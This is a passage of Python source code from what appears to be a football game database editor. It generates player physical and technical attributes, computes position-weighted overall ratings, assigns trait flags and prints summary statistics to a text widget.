=min(lmm,int(self.zone(StMx[18][ps[rig]],ovr,2))+agefactormental+overallfactormental);\n if(posid==0):\n div = int(self.zone(StMx[26][ps[rig]],ovr,0));\n hand = int(self.zone(StMx[27][ps[rig]],ovr,0));\n kic = int(self.zone(StMx[28][ps[rig]],ovr,0));\n post = int(self.zone(StMx[29][ps[rig]],ovr,0));\n ref = int(self.zone(StMx[30][ps[rig]],ovr,0));\n else:\n div = 5;\n hand = 5;\n kic = 5;\n post = 5;\n ref = 5;\n agilzone = StMx[19][ps[rig]];\n balazone = StMx[20][ps[rig]];\n accezone = StMx[21][ps[rig]];\n sprizone = StMx[22][ps[rig]];\n jumpzone = StMx[23][ps[rig]];\n stamzone = StMx[24][ps[rig]];\n strezone = StMx[25][ps[rig]];\n #1=+20;2=+10;3=+5;4=-10;5=-20\n azone=-0.7143;\n bzone=-6.7143;\n czone=27\n agil=67+random.randrange(-2,3)+int(azone*agilzone*agilzone+bzone*agilzone+czone)+agefactorphisical;#min(lmm,int(self.zone(agilzone,ovr,1))+agefactorphisical+overallfactorphisical);\n bala=67+random.randrange(-2,3)+int(azone*balazone*balazone+bzone*balazone+czone)+agefactorphisical;#min(lmm,int(self.zone(balazone,ovr,1))+agefactorphisical+overallfactorphisical);\n acce=67+random.randrange(-2,3)+int(azone*accezone*accezone+bzone*accezone+czone)+agefactorphisical;#min(lmm,int(self.zone(accezone,ovr,1))+agefactorphisical+overallfactorphisical);\n spri=67+random.randrange(-2,3)+int(azone*sprizone*sprizone+bzone*sprizone+czone)+agefactorphisical;#min(lmm,int(self.zone(sprizone,ovr,1))+agefactorphisical+overallfactorphisical);\n jump=67+random.randrange(-2,3)+int(azone*jumpzone*jumpzone+bzone*jumpzone+czone)+agefactorphisical;#min(lmm,int(self.zone(jumpzone,ovr,1))+agefactorphisical+overallfactorphisical);\n stam=67+random.randrange(-2,3)+int(azone*stamzone*stamzone+bzone*stamzone+czone)+agefactorphisical;#min(lmm,int(self.zone(stamzone,ovr,1))+agefactorphisical+overallfactorphisical);\n stre=67+random.randrange(-2,3)+int(azone*strezone*strezone+bzone*strezone+czone)+agefactorphisical;#min(lmm,int(self.zone(strezone,ovr,1))+agefactorphisical+overallfactorphisical);\n wwt = wt-perfectwt;\n hht = ht-180;\n if(ht>=200):\n stre=stre+20;\n agil=agil-30;\n jump=jump+10;\n acce=acce+5;\n elif(ht>=195):\n stre=stre+15;\n agil=agil-20;\n jump=jump+10;\n acce=acce+5;\n elif(ht>=190):\n stre=stre+10;\n agil=agil-10;\n jump=jump+5;\n acce=acce+5;\n elif(ht>=185):\n stre=stre+5;\n agil=agil-5;\n jump=jump+2;\n acce=acce+5;\n elif(ht>=180):\n stre=stre+0;\n agil=agil-0;\n spri=spri+5;\n acce=acce+0;\n elif(ht>=175):\n stre=stre-5;\n agil=agil+5;\n jump=jump-5;\n stam=stam+5;\n spri=spri+5;\n elif(ht>=170):\n stre=stre-10;\n agil=agil+10;\n jump=jump-10;\n stam=stam+5;\n spri=spri+5;\n elif(ht>=165):\n stre=stre-20;\n agil=agil+15;\n jump=jump-20;\n stam=stam+5;\n spri=spri+5;\n elif(ht>=160):\n stre=stre-30;\n agil=agil+20;\n jump=jump-30;\n stam=stam+5;\n spri=spri+5;\n elif(ht<161):\n stre=stre-40;\n agil=agil+20;\n jump=jump-40;\n stam=stam+5;\n spri=spri+5;\n if(wwt>=9):\n acce=acce+10;\n spri=spri-30;\n stam=stam-20;\n bala=bala+30;\n stre=stre+10;\n agil=agil-20;\n elif(wwt>=6):\n acce=acce+10;\n spri=spri-20;\n stam=stam-10;\n bala=bala+20;\n stre=stre+5;\n agil=agil-10;\n elif(wwt>=3):\n acce=acce+10;\n spri=spri-10;\n stam=stam-5;\n bala=bala+10;\n stre==stre+5;\n agil=agil-5;\n elif(wwt>=0):\n acce=acce+5;\n spri=spri-5;\n stam=stam-0;\n bala=bala+5;\n elif(wwt>=-3):\n acce=acce+0;\n spri=spri-0;\n stam=stam+5;\n bala=bala+0;\n agil=agil+2;\n elif(wwt>=-6):\n acce=acce-5;\n spri=spri+5;\n stam=stam+5;\n bala=bala-5;\n stre=stre-2;\n agil=agil+5;\n elif(wwt>=-9):\n acce=acce-10;\n spri=spri+10;\n stam=stam+10;\n bala=bala-10;\n stre=stre-5;\n agil=agil+10;\n elif(wwt>=-12):\n acce=acce-20;\n spri=spri+15;\n stam=stam+10;\n bala=bala-10;\n stre=stre-10;\n agil=agil+15;\n elif(wwt<=-13):\n acce=acce-30;\n spri=spri+20;\n stam=stam-5;\n bala=bala-10;\n stre=stre-20;\n agil=agil+15;\n ###CALCOLO DEI NUOVI OVERALL###\n if(posid==0):\n ovrf1 = 0;\n ovrm1 = (rea*11)/100.0;\n ovrs1 = (div*21+hand*21+post*21+ref*21+kic*5)/100.0;\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==4 or posid==5 or posid==6 or posid==1):\n ovrf1 = (stre*10+jump*3+spri*2)/100.0;#15\n ovrm1 = (agg*7+inte*13+rea*5)/100.0;#25\n ovrs1 = (mar*14+sttk*17+sltk*10+hea*10+spas*5+bco*4)/100.0;#60\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==3 or posid==7):\n ovrf1 = (acce*5+stam*8+spri*7)/100.0;#20\n ovrm1 = (inte*12+rea*8)/100.0;#20\n ovrs1 = (sltk*14+sttk*11+mar*8+cro*9+hea*4+bco*7+spas*7)/100.0;#60\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==2 or posid==8):\n ovrf1 = (stam*10+spri*6+acce*4)/100.0;#20\n ovrm1 = (inte*12+rea*8)/100.0;#20\n ovrs1 = (sttk*8+sltk*11+cro*12+spas*10+bco*8+mar*7+dri*4)/100.0;#60\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==9 or posid==10 or posid==11):\n ovrf1 = (stam*6+stre*4)/100.0;#10\n ovrm1 = (inte*14+rea*7+vis*4+agg*5)/100.0;#30\n ovrs1 = (spas*14+lpas*10+mar*9+sttk*12+bco*10+sltk*5)/100.0;#60\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==13 or posid==14 or posid==15):\n ovrf1 = (stam*6)/100.0;#6\n ovrm1 = (vis*13+rea*8+inte*5+atk*6)/100.0;#32\n ovrs1 = (spas*17+lpas*13+bco*14+dri*7+fin*2+sttk*5+lons*4)/100.0;#62\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid == 18 or posid==17 or posid==19):\n ovrf1 = (acce*4+agil*3+spri*3)/100.0;#10\n ovrm1 = (vis*14+atk*9+rea*7)/100.0;#30\n ovrs1 = (spas*16+bco*15+dri*13+lons*5+fin*7+lpas*4)/100.0;#60\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==12 or posid==16 ):\n ovrf1 = (stam*5+acce*7+spri*6)/100.0;#18\n ovrm1 = (vis*7+rea*7+atk*8)/100.0;#22\n ovrs1 = (cro*10+dri*15+spas*11+bco*13+lpas*5+fin*6)/100.0;#60\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==23 or posid==27):\n ovrf1 = (acce*7+spri*6+agil*3)/100.0;#16\n ovrm1 = (atk*9+rea*7+vis*6)/100.0;#22\n ovrs1 = (cro*9+bco*16+dri*14+spas*9+fin*10+lons*4)/100.0;#62\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==20 or posid==21 or posid==22):\n ovrf1 = (acce*5+spri*5)/100.0;#10\n ovrm1 = (atk*13+rea*9+vis*8)/100.0;#30\n ovrs1 = (fin*11+dri*14+bco*15+psht*5+lons*4+spas*9+hea*2)/100.0;#60\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n elif(posid==24 or posid==25 or posid==26):\n ovrf1 = (acce*4+spri*5+stre*5)/100.0;#14\n ovrm1 = (atk*13+rea*8)/100.0;#21\n ovrs1 = (fin*18+hea*10+psht*10+dri*7+bco*10+vol*2+lons*3+spas*5)/100.0;#65\n ovrtt1 = ovrf1+ovrm1+ovrs1;\n ###NEW OVERALL WIDE RANGE###\n diffovrs=ovrtt1-ovr;\n if(int(lista[rig][59])!=1):\n bco=int(max(5,min(99,bco-diffovrs)));\n cro=int(max(5,min(99,cro-diffovrs)));\n dri=int(max(5,min(99,dri-diffovrs)));\n fin=int(max(5,min(99,fin-diffovrs)));\n hea=int(max(5,min(99,hea-diffovrs)));\n lons=int(max(5,min(99,lons-diffovrs)));\n mar=int(max(5,min(99,mar-diffovrs)));\n spas=int(max(5,min(99,spas-diffovrs)));\n lpas=int(max(5,min(99,lpas-diffovrs)));\n psht=int(max(5,min(99,psht-diffovrs)));\n sttk=int(max(5,min(99,sttk-diffovrs)));\n sltk=int(max(5,min(99,sltk-diffovrs)));\n vol=int(max(5,min(99,vol-diffovrs)));\n agg=int(max(10,min(99,agg-diffovrs)));\n atk=int(max(10,min(99,atk-diffovrs)));\n inte=int(max(10,min(99,inte-diffovrs)));\n rea=int(max(10,min(99,rea-diffovrs)));\n vis=int(max(10,min(99,vis-diffovrs)));\n acce=int(max(10,min(99,acce-diffovrs)));\n agil=int(max(10,min(99,agil-diffovrs)));\n bala=int(max(10,min(99,bala-diffovrs)));\n spri=int(max(10,min(99,spri-diffovrs)));\n jump=int(max(10,min(99,jump-diffovrs)));\n stam=int(max(10,min(99,stam-diffovrs)));\n stre=int(max(10,min(99,stre-diffovrs)));\n skillm = int(StMx[35][ps[rig]]);\n skillm = skillm+1;\n skillm = min(max(skillm,0),4);\n freekacc = max(5,min(100,max(freekacc,skillm*25+random.randrange(-20,-5))));\n curve = max(curve,int(skillm*25+random.randrange(-20,-5))); \n div = int(max(10,min(random.randrange(96,100),div-diffovrs)));\n hand = int(max(10,min(random.randrange(96,100),hand-diffovrs)));\n kic = int(max(10,min(random.randrange(96,100),kic-diffovrs)));\n post = int(max(10,min(random.randrange(96,100),post-diffovrs)));\n ref = int(max(10,min(random.randrange(96,100),ref-diffovrs)));\n #NATION COEFF:\n #Valori tecnici. Moltiplico i vaori della matrice per il coefficiente tecnico. \n weakf=int(lista[rig][78]); #-1a3, 11234 , da 1 a 5\n if((weakf)==4):\n weakf=3;\n elif((weakf)==2):\n weakf=1;\n ####SKILL MOVES\n if(posid == 0):\n #curve = int(curve/3);\n freekacc = int(freekacc/3);\n #ASSEGNAZIONE TRAIT. Per chi ce l'ha gia non faccio modifiche, altrimenti li aggiungo.\n # 0 1 Inflexibility\n # 1 2 Long Throw In \n # 2 4 Powerful Free Kick\n # 3 8 Diver\n # 4 16 Injury Prone \n # 5 32 Injury Free \n # 6 64 Avoid to use the Weak foot \n # 7 128 Dives Into Tackles \n # 8 256 Tries To Beat Defensive Line \n # 9 512 Selfish \n #10 1024 Leadership \n #11 2048 Argues With Referee \n #12 4096 Early Crosser\n #13 8192 Try Often Finesse Shot\n #14 16384 Flair\n #15 32768 Long Passer\n #16 65536 Long shot taker\n #17 131072 Speed Dribbler\n #18 262144 Play Maker\n #19 524288 Pushes Up for Corners\n #20 1048576 Puncher GK\n #21 2097152 Long Thrower GK\n #22 4194304 Power Header\n #23 8388608 NE (uno contro uno)\n #24 16777216 Giant Throwin\n #25 33554432 OutSide Foot Shot\n #26 67108864 NE (favorito tifosi)\n #27 134217728 Through Ball\n #28 268435456 NE (second wind)\n #29 536870912 NE acrobatic clearance\n trait1 = self.trait(int(lista[rig][45]));\n ppos1 = int(lista[rig][42]);\n if(int(lista[rig][9])==1):\n totgksavetype = totgksavetype+1;\n if(ppos1==0)and((ps[rig]==0)or(ps[rig]==1)or(ps[rig]==2)or(ps[rig]==3)):\n gksavetype=1;\n totgksavetype = totgksavetype+1;\n else:\n gksavetype=0;\n if(trait1[16]==0):\n if(ppos1!=0)and(ps[rig]>=32):\n trait1[16]=1;\n totlongshot=totlongshot+1;\n else:\n totlongshot=totlongshot+1; \n if(trait1[2]==0):\n if((psht>=85)and(freekacc>=70)):\n trait1[2]=1;\n totpowerfk=totpowerfk+1;\n else:\n totpowerfk=totpowerfk+1;\n if(trait1[3]==0):\n if(((ps[rig]>=0)and(ps[rig]<=14))):\n trait1[3]=0;\n else:\n trait1[3]=1;\n totdiver = totdiver+1;\n else:\n totdiver=totdiver+1;\n if(trait1[6]==0):\n if((weakf<=3)):\n trait1[6]=1;\n totavoidweak = totavoidweak +1;\n else:\n totavoidweak = totavoidweak + 1;\n if(trait1[15]==0):\n if(ppos1!=0)and((ps[rig]==8)or(ps[rig]==10)or(ps[rig]==14)or(ps[rig]==16)or(ps[rig]==17)or(ps[rig]==18)or\n (ps[rig]==33)or(ps[rig]==37)or(ps[rig]==42)or(ps[rig]==44)or(ps[rig]==47)or(ps[rig]==48)or\n (ps[rig]==56)or(ps[rig]==9)or(ps[rig]==11)):\n trait1[15]=0;\n else:\n trait1[15]=1;\n totlongpasser=totlongpasser+1;\n else:\n totlongpasser=totlongpasser+1;\n if(trait1[14]==0):\n if(((ps[rig]>=40)) and skillm>=3):\n trait1[14]=1;\n totflair=totflair+1;\n else:\n totflair=totflair+1;\n if(trait1[18]==0):\n if((ps[rig]==37)or(ps[rig]==44)or(ps[rig]==50))and(ppos1!=0):\n trait1[18]=1;\n totplaymaker = totplaymaker+1;\n else:\n totplaymaker = totplaymaker+1;\n if(trait1[9]==0):\n if((ps[rig]>=64)):\n if(ppos1!=0):\n trait1[9]=1;\n totselfish = totselfish+1;\n else:\n totselfish = totselfish+1;\n if(trait1[25]==0):\n if(skillm>=4):\n if(ppos1!=0):\n trait1[25]=1;\n tottiroesterno = tottiroesterno+1;\n else:\n tottiroesterno = tottiroesterno+1;\n if(trait1[12]==0):\n if((ps[rig]==16)or(ps[rig]==18)or(ps[rig]==64)or(ps[rig]==56)or(ps[rig]==59)):\n totearlycrosser = totearlycrosser +1;\n trait1[12]=1;\n else:\n totearlycrosser = totearlycrosser + 1;\n if(trait1[7]==0):\n if((ps[rig]==14)or(ps[rig]==17)or(ps[rig]==18)or(ps[rig]==19)or(ps[rig]==34)or(ps[rig]==41)or(ps[rig]==15))and(ppos1!=0):\n trait1[7]=1;\n totdivetackle=totdivetackle+1;\n else:\n totdivetackle=totdivetackle+1;\n if(trait1[8]==0):\n if((ppos1!=0)and((ps[rig]==58)or(ps[rig]==66)or(ps[rig]==74)or(ps[rig]==80))):\n trait1[8]=1;\n totbeatline = totbeatline+1;\n else:\n totbeatline = totbeatline+1;\n if(trait1[17]==0):\n if((ps[rig]==16)or(ps[rig]==17)or(ps[rig]==19)or(ps[rig]==45)or(ps[rig]==56)or(ps[rig]==76)or(ps[rig]==84))and(ppos1!=0):\n trait1[17]=1;\n totspeeddribbler = totspeeddribbler +1;\n else:\n totspeeddribbler = totspeeddribbler +1;\n if(trait1[23]==0):\n if((ps[rig]==2))and(ppos1==0):\n trait1[23]=1;\n totoneone = totoneone+1;\n else:\n totoneone = totoneone+1;\n if(trait1[22]==0):\n if(hea>=90)and(ppos1!=0):\n trait1[22]=1;\n tothardhead = tothardhead+1;\n else:\n tothardhead = tothardhead+1;\n if(trait1[27]==0):\n if(skillm>=4)and(ppos1!=0):\n trait1[27]=1;\n totswerve = totswerve+1;\n else:\n totswerve = totswerve+1;\n if(trait1[28]==0):\n if(((ps[rig]==32)or(ps[rig]==40)or(ps[rig]==34)or(ps[rig]==35)) and(ppos1!=0)):\n trait1[28]=1;\n tot2ndwind = tot2ndwind+1;\n else:\n tot2ndwind = tot2ndwind+1;\n if(trait1[13]==0):\n if((ps[rig]==50)or(ps[rig]==73)or(ps[rig]==86))and(ppos1!=0):\n trait1[13]=1;\n totfinshot = totfinshot+1;\n else:\n totfinshot = totfinshot+1;\n if(trait1[20]==0):\n if((ps[rig]==0)and(ppos1==0)):\n trait1[20]=1;\n totpunchergk = totpunchergk+1;\n else:\n totpunchergk = totpunchergk+1;\n lstrait1 = self.sommatrait(trait1); \n #print(trait1);\n attw = (StMx[33][ps[rig]]);\n defw = (StMx[34][ps[rig]]);\n #SPECIALTIES\n #dribbler=poacher=aerialt=speedsteer=engine=distanceshooter=clinicalfinisher=strength=playmaker=crosser=acrobat=tactician=0;\n if((dri>=86 and skillm==4)or(dri>=86 and bala>=75)):\n dribbler=dribbler+1;\n if((fin>=85 and hea>=75) and (attw==0 or attw==1) and (defw==0 or defw==1)):\n poacher=poacher+1;\n if((ht<=188 and hea>=90 and (stre>=85 or jump>=85))):\n aerialt=aerialt+1;\n if((acce+spri)>=180):\n speedsteer=speedsteer+1;\n if(defw==2 and attw==2):\n engine=engine+1;\n if((psht+lons)>=174):\n distanceshooter=distanceshooter+1;\n if(lons>=80 and fin>=86):\n clinicalfinisher=clinicalfinisher+1;\n if((wt>=82 and stre>=90) or (wt>=83 and stre>=86)):\n strength=strength+1;\n if(spas>=86 and vis>=86 and lpas>=73):\n playmaker=playmaker+1;\n if(cro>=86 and curve>=80):\n crosser=crosser+1;\n if(agil>=90 or (agil>=86 and rea>=80)):\n acrobat=acrobat+1;\n if(sttk>=86 and sltk>=85):\n tackling=tackling+1;\n if(inte>=86 and rea>=80):\n tactician=tactician+1;\n if(contratto<2014):\n contratto = 2014;\n elif(contratto>2020):\n contratto = 2020;\n #######\n ttt=ovr;\n ppp=potenz;\n if(ttt>19) and (ttt<30):\n tot20 = tot20+1;\n elif(ttt>29) and (ttt<40):\n tot30 = tot30+1;\n elif(ttt>39) and (ttt<50):\n tot40 = tot40+1;\n elif(ttt>49) and (ttt<60):\n tot50 = tot50+1;\n elif(ttt>59) and (ttt<70):\n tot60 = tot60+1;\n elif(ttt>69) and (ttt<80):\n tot70 = tot70+1;\n elif(ttt>79) and (ttt<90):\n tot80 = tot80+1;\n elif(ttt>89) and (ttt<100):\n tot90 = tot90+1;\n if(ppp>19) and (ppp<30):\n top20 = top20+1;\n elif(ppp>29) and (ppp<40):\n top30 = top30+1;\n elif(ppp>39) and (ppp<50):\n top40 = top40+1;\n elif(ppp>49) and (ppp<60):\n top50 = top50+1;\n elif(ppp>59) and (ppp<70):\n top60 = top60+1;\n elif(ppp>69) and (ppp<80):\n top70 = top70+1;\n elif(ppp>79) and (ppp<90):\n top80 = top80+1;\n elif(ppp>89) and (ppp<100):\n top90 = top90+1;\n #lista[rig][0] = str(birthdate);\n if(agil<35):\n agilm10=agilm10+1;\n elif(agil>=35 and agil<55):\n agilm35=agilm35+1;\n elif(agil>=55 and agil<70):\n agilm55=agilm55+1;\n elif(agil>=70 and agil<80):\n agilm70=agilm70+1;\n elif(agil>=80 and agil<90):\n agilm80=agilm80+1;\n elif(agil>=90):\n agilm90=agilm90+1;\n if(bala<35):\n balam10=balam10+1;\n elif(bala>=35 and bala<55):\n balam35=balam35+1;\n elif(bala>=55 and bala<70):\n balam55=balam55+1;\n elif(bala>=70 and bala<80):\n balam70=balam70+1;\n elif(bala>=80 and bala<90):\n balam80=balam80+1;\n elif(bala>=90):\n balam90=balam90+1;\n if(acce<35):\n accem10=accem10+1;\n elif(acce>=35 and acce<55):\n accem35=accem35+1;\n elif(acce>=55 and acce<70):\n accem55=accem55+1;\n elif(acce>=70 and acce<80):\n accem70=accem70+1;\n elif(acce>=80 and acce<90):\n accem80=accem80+1;\n elif(acce>=90):\n accem90=accem90+1;\n if(spri<35):\n sprim10=sprim10+1;\n elif(spri>=35 and spri<55):\n sprim35=sprim35+1;\n elif(spri>=55 and spri<70):\n sprim55=sprim55+1;\n elif(spri>=70 and spri<80):\n sprim70=sprim70+1;\n elif(spri>=80 and spri<90):\n sprim80=sprim80+1;\n elif(spri>=90):\n sprim90=sprim90+1;\n if(jump<35):\n jumpm10=jumpm10+1;\n elif(jump>=35 and jump<55):\n jumpm35=jumpm35+1;\n elif(jump>=55 and jump<70):\n jumpm55=jumpm55+1;\n elif(jump>=70 and jump<80):\n jumpm70=jumpm70+1;\n elif(jump>=80 and jump<90):\n jumpm80=jumpm80+1;\n elif(jump>=90):\n jumpm90=jumpm90+1;\n if(stam<35):\n sprim10=stamm10+1;\n elif(stam>=35 and stam<55):\n stamm35=stamm35+1;\n elif(stam>=55 and stam<70):\n stamm55=stamm55+1;\n elif(stam>=70 and stam<80):\n stamm70=stamm70+1;\n elif(stam>=80 and stam<90):\n stamm80=stamm80+1;\n elif(stam>=90):\n stamm90=stamm90+1;\n if(stre<35):\n strem10=strem10+1;\n elif(stre>=35 and stre<55):\n strem35=strem35+1;\n elif(stre>=55 and stre<70):\n strem55=strem55+1;\n elif(stre>=70 and stre<80):\n strem70=strem70+1;\n elif(stre>=80 and stre<90):\n strem80=strem80+1;\n elif(stre>=90):\n strem90=strem90+1;\n lista[rig][28] = str(contratto);\n lista[rig][23] = str(max(5,min(95,potenz)));\n lista[rig][7] = str(0);#str(gksavetype);\n lista[rig][43] = str(bco);\n lista[rig][22] = str(cro);\n lista[rig][30] = str(dri);\n lista[rig][29] = str(fin);\n lista[rig][64] = str(hea);\n lista[rig][18] = str(lons);\n lista[rig][84] = str(mar);\n lista[rig][56] = str(spas);\n lista[rig][13] = str(lpas);\n lista[rig][44] = str(psht);\n lista[rig][10] = str(sttk);\n lista[rig][31] = str(sltk);\n lista[rig][102] = str(vol);\n lista[rig][62] = str(agg);\n lista[rig][8] = str(atk);\n lista[rig][20] = str(inte);\n lista[rig][26] = str(rea);\n lista[rig][27] = str(vis);\n lista[rig][5] = str(agil);\n lista[rig][50] = str(bala);\n lista[rig][63] = str(acce);\n lista[rig][36] = str(spri);\n lista[rig][79] = str(jump);\n lista[rig][82] = str(stam);\n lista[rig][40] = str(stre);\n lista[rig][90] = str(ovr) \n lista[rig][19] = str(div);\n lista[rig][67] = str(hand);\n lista[rig][50] = str(kic);\n lista[rig][86] = str(post);\n lista[rig][24] = str(ref);\n lista[rig][12] = str(-1);\n lista[rig][101] = str(-1);\n lista[rig][78] = str(weakf);\n lista[rig][60] = str(attw);\n lista[rig][74] = str(defw);\n lista[rig][3] = str(max(20,min(95,curve)));\n lista[rig][57] = str(max(20,min(95,freekacc)));\n lista[rig][14] = str(max(20,min(95,penalt)));\n lista[rig][45] = str(lstrait1);\n lista[rig][42] = str(posid);\n lista[rig][39] = str(posid2);\n if(lista[rig][59]==1):\n specialplayers=specialplayers+1;\n lista[rig][59] = str(0);\n self.textEdit.append(\"SPECIAL ID players:\");\n self.textEdit.append(\"No:\"+str(specialplayers));\n self.textEdit.append(\"TRAITS statistics:\");\n self.textEdit.append(\"players with LONGSHOTTAKER trait: \"+str(totlongshot)+\" (\"+str(totlongshot*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with LONGPASSER trait: \"+str(totlongpasser)+\" (\"+str(totlongpasser*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with DIVE INTO TACKLE trait: \"+str(totdivetackle)+\" (\"+str(totdivetackle*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with PLAY MAKER trait: \"+str(totplaymaker)+\" (\"+str(totplaymaker*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with FLAIR trait: \"+str(totflair)+\" (\"+str(totflair*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with AVOID WEAK FOOT trait: \"+str(totavoidweak)+\" (\"+str(totavoidweak*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with EARLY CROSSER trait: \"+str(totearlycrosser)+\" (\"+str(totearlycrosser*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with SPEED DRIBBLER trait: \"+str(totspeeddribbler)+\" (\"+str(totspeeddribbler*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with PLAY AT OFFSIDE LIMIT trait: \"+str(totbeatline)+\" (\"+str(totbeatline*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with DIVER trait: \"+str(totdiver)+\" (\"+str(totdiver*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with POWERFUL HEADER trait: \"+str(tothardhead)+\" (\"+str(tothardhead*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with POWERFUL FREEKICK trait: \"+str(totpowerfk)+\" (\"+str(totpowerfk*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with OUTSIDE FOOT SHOT trait: \"+str(tottiroesterno)+\" (\"+str(tottiroesterno*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with SWING PASSES trait: \"+str(totswerve)+\" (\"+str(totswerve*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with HIGH STAMINA trait: \"+str(tot2ndwind)+\" (\"+str(tot2ndwind*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with FINESSE SHOT trait: \"+str(totfinshot)+\" (\"+str(totfinshot*100/playerstotal)+\"%) \");\n self.textEdit.append(\"players with SELFISH trait: \"+str(totselfish)+\" (\"+str(totselfish*100/playerstotal)+\"%) \");\n self.textEdit.append(\"keepers with GK PUNCHER trait: \"+str(totpunchergk)+\" (\"+str(totpunchergk*100/gktotal)+\"%) \");\n self.textEdit.append(\"keepers with ONE VS ONE trait: \"+str(totoneone)+\" (\"+str(totoneone*100/gktotal)+\"%) \");\n self.textEdit.append(\"keepers with ACROBATIC SAVE trait: \"+str(totgksavetype)+\" (\"+str(totgksavetype*100/gktotal)+\"%) \");\n #dribbler=poacher=aerialt=speedsteer=engine=distanceshooter=clinicalfinisher=strength=playmaker=crosser=acrobat=tactician=0;\n self.textEdit.append(\"SPECIAL statistics:\");\n self.textEdit.append(\"players with DRIBBLER spec: \"+str(dribbler)+\" \"+str(dribbler*100/playerstotal));\n self.textEdit.append(\"players with POACHER spec: \"+str(poacher)+\" \"+str(poacher*100/playerstotal));\n self.textEdit.append(\"players with AERIAL THREAT spec: \"+str(aerialt)+\" \"+str(aerialt*100/playerstotal));\n self.textEdit.append(\"players with SPEEDSTER spec: \"+str(speedsteer)+\" \"+str(speedsteer*100/playerstotal));\n self.textEdit.append(\"players with ENGINE spec: \"+str(engine)+\" \"+str(engine*100/playerstotal));\n self.textEdit.append(\"players with DISTANCE SHOOT spec: \"+str(distanceshooter)+\" \"+str(distanceshooter*100/playerstotal));\n self.textEdit.append(\"players with CLINICAL FINISHER spec: \"+str(clinicalfinisher)+\" \"+str(clinicalfinisher*100/playerstotal));\n self.textEdit.append(\"players with STRENGTH spec: \"+str(strength)+\" \"+str(strength*100/playerstotal));\n self.textEdit.append(\"players with PLAYMAKER spec: \"+str(playmaker)+\" \"+str(playmaker*100/playerstotal));\n self.textEdit.append(\"players with CROSSER spec: \"+str(crosser)+\" \"+str(crosser*100/playerstotal));\n self.textEdit.append(\"players with ACROBAT spec: \"+str(acrobat)+\" \"+str(acrobat*100/playerstotal));\n self.textEdit.append(\"players with TACKLING spec: \"+str(tackling)+\" \"+str(tackling*100/playerstotal));\n self.textEdit.append(\"players with TACTICIAN spec: \"+str(tactician)+\" \"+str(tactician*100/playerstotal));\n self.textEdit.append(\"SPECIAL statistics:\");\n self.textEdit.append(\"players with AGILITY VERY BAD: \"+str(agilm10)+\" \"+str(agilm10*100/playerstotal));\n self.textEdit.append(\"players with BALANCE VERY BAD : \"+str(balam10)+\" \"+str(balam10*100/playerstotal));\n self.textEdit.append(\"players with ACCELERATION VERY BAD: \"+str(accem10)+\" \"+str(accem10*100/playerstotal));\n self.textEdit.append(\"players with SPRINT SPEED VERY BAD: \"+str(sprim10)+\" \"+str(sprim10*100/playerstotal));\n self.textEdit.append(\"players with JUMPION VERY BAD: \"+str(jumpm10)+\" \"+str(jumpm10*100/playerstotal));\n self.textEdit.append(\"players with STAMINA VERY BAD: \"+str(stamm10)+\" \"+str(stamm10*100/playerstotal));\n self.textEdit.append(\"players with STRENGTH VERY BAD: \"+str(strem10)+\" \"+str(strem10*100/playerstotal));\n self.textEdit.append(\"----------------\");\n self.textEdit.append(\"players with AGILITY BAD: \"+str(agilm35)+\" \"+str(agilm35*100/playerstotal));\n self.textEdit.append(\"players with BALANCE BAD: \"+str(balam35)+\" \"+str(balam35*100/playerstotal));\n self.textEdit.append(\"players with ACCELERATION BAD: \"+str(accem35)+\" \"+str(accem35*100/playerstotal));\n self.textEdit.append(\"players with SPRINT SPEED BAD: \"+str(sprim35)+\" \"+str(sprim35*100/playerstotal));\n self.textEdit.append(\"players with JUMPION BAD: \"+str(jumpm35)+\" \"+str(jumpm35*100/playerstotal));\n self.textEdit.append(\"players with STAMINA BAD: \"+str(stamm35)+\" \"+str(stamm35*100/playerstotal));\n self.textEdit.append(\"players with STRENGTH BAD: \"+str(strem35)+\" \"+str(strem35*100/playerstotal));\n self.textEdit.append(\"----------------\");\n self.textEdit.append(\"players with AGILITY AVG: \"+str(agilm55)+\" \"+str(agilm55*100/playerstotal));\n self.textEdit.append(\"players with BALANCE AVG: \"+str(balam55)+\" \"+str(balam55*100/playerstotal));\n self.textEdit.append(\"players with ACCELERATION AVG: \"+str(accem55)+\" \"+str(accem55*100/playerstotal));\n self.textEdit.append(\"players with SPRINT SPEED AVG: \"+str(sprim55)+\" \"+str(sprim55*100/playerstotal));\n self.textEdit.append(\"players with JUMPION AVG: \"+str(jumpm55)+\" \"+str(jumpm55*100/playerstotal));\n self.textEdit.append(\"players with STAMINA AVG: \"+str(stamm55)+\" \"+str(stamm55*100/playerstotal));\n self.textEdit.append(\"players with STRENGTH AVG: \"+str(strem55)+\" \"+str(strem55*100/playerstotal));\n self.textEdit.append(\"----------------\");\n self.textEdit.append(\"players with AGILITY GOOD: \"+str(agilm70)+\" \"+str(agilm70*100/playerstotal));\n self.textEdit.append(\"players with BALANCE GOOD: \"+str(balam70)+\" \"+str(balam70*100/playerstotal));\n self.textEdit.append(\"players with ACCELERATION GOOD: \"+str(accem70)+\" \"+str(accem70*100/playerstotal));\n self.textEdit.append(\"players with SPRINT SPEED GOOD: \"+str(sprim70)+\" \"+str(sprim70*100/playerstotal));\n self.textEdit.append(\"players with 